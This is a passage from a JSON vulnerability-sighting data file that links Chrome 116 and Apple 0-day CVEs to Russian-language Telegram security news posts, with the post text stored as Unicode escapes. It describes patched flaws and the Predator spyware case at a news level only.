\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u043e.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Telit Cinterion \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0432 \u0441\u0443\u0431\u0431\u043e\u0442\u0443 \u043d\u0430\u00a0\u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435.", "creation_timestamp": "2024-05-13T19:01:51.000000Z"}, {"uuid": "6b791b52-b17f-473c-a96a-3a7034798971", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "https://t.me/true_secator/4821", "content": "Google \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Chrome 116.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4761, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 API FedCM (Federated Credential Management).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4762, \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2023-4763, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u00ab\u0441\u0435\u0442\u0438\u00bb Chrome. \u041e\u043d\u0430\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE \u0438\u043b\u0438 DoS, \u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 - \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044d\u0442\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Chrome 116, -  CVE-2023-4764, \u0437\u043f\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 BFCache, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e URL-\u0441\u0442\u0440\u043e\u043a\u0438.\n\nGoogle \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a 116.0.5845.179 \u0434\u043b\u044f macOS \u0438 Linux \u0438 \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.179/.180 \u0434\u043b\u044f Windows.", "creation_timestamp": "2023-09-07T16:20:05.000000Z"}, {"uuid": "046194fb-1eec-4779-84c1-b6ee4d48bb49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4763", "type": "seen", "source": "https://t.me/true_secator/4821", "content": "Google \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Chrome 116.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4761, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 API FedCM (Federated Credential Management).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4762, \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2023-4763, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u00ab\u0441\u0435\u0442\u0438\u00bb Chrome. \u041e\u043d\u0430\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE \u0438\u043b\u0438 DoS, \u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 - \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044d\u0442\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Chrome 116, -  CVE-2023-4764, \u0437\u043f\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 BFCache, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e URL-\u0441\u0442\u0440\u043e\u043a\u0438.\n\nGoogle \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a 116.0.5845.179 \u0434\u043b\u044f macOS \u0438 Linux \u0438 \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.179/.180 \u0434\u043b\u044f Windows.", "creation_timestamp": "2023-09-07T16:20:05.000000Z"}, {"uuid": "a5d8fc88-7919-4a4c-af03-017c45caf657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4761", "type": "seen", "source": "https://t.me/true_secator/4821", "content": "Google \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Chrome 116.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4761, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 \u0432 API FedCM (Federated Credential Management).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u0437\u0432\u0430\u0442\u044c DoS \u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0442\u0438\u043f\u043e\u0432 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 JavaScript V8. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2023-4762, \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u0445\u043e\u0434\u0443 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043c\u044f\u0442\u0438.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043e\u0448\u0438\u0431\u043a\u0430, CVE-2023-4763, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u00ab\u0441\u0435\u0442\u0438\u00bb Chrome. \u041e\u043d\u0430\u00a0\u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE \u0438\u043b\u0438 DoS, \u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 - \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 \u044d\u0442\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Chrome 116, -  CVE-2023-4764, \u0437\u043f\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 BFCache, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e URL-\u0441\u0442\u0440\u043e\u043a\u0438.\n\nGoogle \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0437\u043b\u043e\u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f Chrome \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a 116.0.5845.179 \u0434\u043b\u044f macOS \u0438 Linux \u0438 \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 116.0.5845.179/.180 \u0434\u043b\u044f Windows.", "creation_timestamp": "2023-09-07T16:20:05.000000Z"}, {"uuid": "09e82ce3-e842-49c1-b775-cbcfc657fdd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "https://t.me/true_secator/4885", "content": "\u041f\u043e\u0434\u043a\u0430\u0442\u0438\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0441\u0442\u043e\u043b\u044c \u0441\u0440\u043e\u0447\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0430 Apple \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 0-day \u0432 \u041e\u0421 iPhone, iPad, Mac \u0438 Apple Watch.\n\n\u041a\u0430\u043a \u043d\u0435\u0441\u043b\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0432 \u0441\u0432\u044f\u0437\u0438 \u0443\u0447\u0430\u0441\u0442\u0438\u0435\u043c \u0432 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Citizen Lab \u0438 Google TAG, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2023-41991, CVE-2023-41992 \u0438 CVE-2023-41993 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e spyware Predator \u043e\u0442 Cytrox.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u0441\u0442\u0430\u043b \u0435\u0433\u0438\u043f\u0435\u0442\u0441\u043a\u0438\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a \u0410\u0445\u043c\u0435\u0434 \u0410\u043b\u044c\u0442\u0430\u043d\u0442\u0430\u0432\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0441\u044f \u0430\u0442\u0430\u043a\u0435 \u043f\u043e\u0447\u0442\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u0431\u044a\u044f\u0432\u0438\u043b \u043e \u0432\u044b\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0438 \u0441\u0432\u043e\u0435\u0439 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u0443\u0440\u044b \u0434\u043b\u044f \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u0432 \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u044f\u0449\u0438\u0445 \u0432\u044b\u0431\u043e\u0440\u0430\u0445 \u043f\u0440\u0435\u0437\u0438\u0434\u0435\u043d\u0442\u0430 \u0432 2024 \u0433\u043e\u0434\u0443.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430 \u0430\u0442\u0430\u043a\u043e\u0439, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u0442\u043e\u044f\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0432\u043b\u0430\u0441\u0442\u0438 \u0415\u0433\u0438\u043f\u0442\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0440\u0430\u043d\u0435\u0435 \u0442\u0435\u043b\u0435\u0444\u043e\u043d \u0410\u043b\u044c\u0442\u0430\u043d\u0442\u0430\u0432\u0438 \u0443\u0436\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u044b\u0432\u0430\u043b\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Cytrox spyware \u0435\u0449\u0435 \u0432 2021 \u0433\u043e\u0434\u0443 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430, \u043a\u0430\u043a \u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u044b 